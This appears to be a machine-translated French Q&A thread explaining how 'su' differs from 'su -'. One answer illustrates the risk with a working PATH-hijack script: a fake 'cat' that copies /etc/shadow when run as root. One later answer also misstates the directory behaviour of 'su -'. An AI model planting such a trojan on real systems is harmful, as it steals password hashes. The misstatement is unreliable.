Je ne comprends pas pourquoi il su -
est préférable de su
se connecter en tant que root.
la source
Je ne comprends pas pourquoi il su -
est préférable de su
se connecter en tant que root.
su -
appelle un shell de connexion après le changement d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.
su
change simplement d’utilisateur, fournissant à un shell normal un environnement presque identique à celui de l’ancien utilisateur.
Imaginez, vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et votre administrateur ignorant ne vous donnera tout simplement pas un accès root. Faisons-le (espérons-le) duper.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat
insérer le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si votre administrateur n'est pas si malin ou s'il est un peu paresseux, il pourrait venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Hou la la! Merci, super administrateur!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Il, il.
Vous avez peut-être remarqué que la $PATH
variable corrompue n'a pas été réinitialisée. Cela ne serait pas arrivé si l'administrateur avait appelé à la su -
place.
su --
est le même quesu
.umask
000, sinon cela ne fonctionnera pas.su
fichier dans le PATH. Ce n'est pas si difficile d'imiter le comportement du réelsu
. Le super-utilisateur a quand même été négligent :-)su --
n'est PAS identique àsu -
:--
indique à un gestionnaire d'options getopt (s) (ou similaire) d'arrêter le traitement de la ligne de commande pour d'autres options (utile par exemple si le reste contient des noms de fichiers pouvant commencer par un '-'). C'est-à-dire que, dans "rm -i - -f": -f est alors traité comme un argument normal, donc ici comme le nom du fichier dansrm -i
, et non comme une-f
option supplémentaire à larm
commande. C'estsu --
justesu
et passu -
! Donc,su --
serait aussi dangereux pour l'exemple (amusant et instructif) givan by wag. Utilisezsu -
.su -
vous connecte complètement en tant que root, alorssu
que vous prétendez être root.L'exemple le plus évident en est qu'il
~
s'agit du répertoire de base de la racine si vous utilisezsu -
, mais de votre propre répertoire de base si vous utilisezsu
.Selon votre système, cela peut également signifier des différences dans les
PATH
fichiers d’ invite , ou d’historique.Donc, si vous faites partie d'une équipe administrant un système et que votre collègue vous donne une commande à exécuter, vous savez qu'il fonctionnera de la même manière si vous utilisez tous les deux
su -
, mais si vous utilisez tous les deuxsu
, il peut y avoir des différences en raison de votre différentes configurations de shell.D'autre part, si vous voulez exécuter une commande en tant que root mais en utilisant votre propre configuration, alors peut
su
- être que c'est mieux pour vous.De plus , ne pas oublier
sudo
, qui a une-s
option pour démarrer une course shell en tant que root. Bien entendu, ces règles sont également différentes et changent en fonction de la distribution que vous utilisez.la source
.bashrc
ou/etc/bashrc
ou/etc/profile.d
scripts sont en train de se mettrePATH
. Rechercherif [ $UID -eq 0 ]
ou quelque chose comme ça.$USER
par exemple est laissé inchangé.sudo su
?J'utilise su - quand je suis dans un répertoire en tant qu'utilisateur ordinaire mais que je veux passer à la racine et rester dans le même répertoire après le changement. Lorsque vous utilisez su - il passe l'utilisateur à la racine et vous emmène également à / root qui est le répertoire de base.
la source
/
tout ce qui est défini comme le répertoire personnel de la racineLa principale différence est:
su - username
configure l'environnement shell comme s'il s'agissait d'une connexion propre en tant qu'utilisateur spécifié; il accède et utilise les variables d'environnement des utilisateurs spécifiés,su username
démarre simplement un shell avec les paramètres d’environnement actuels pour l’utilisateur spécifié.Si le nom d'utilisateur n'est pas spécifié avec
su
etsu -
, le compte root est impliqué par défaut.la source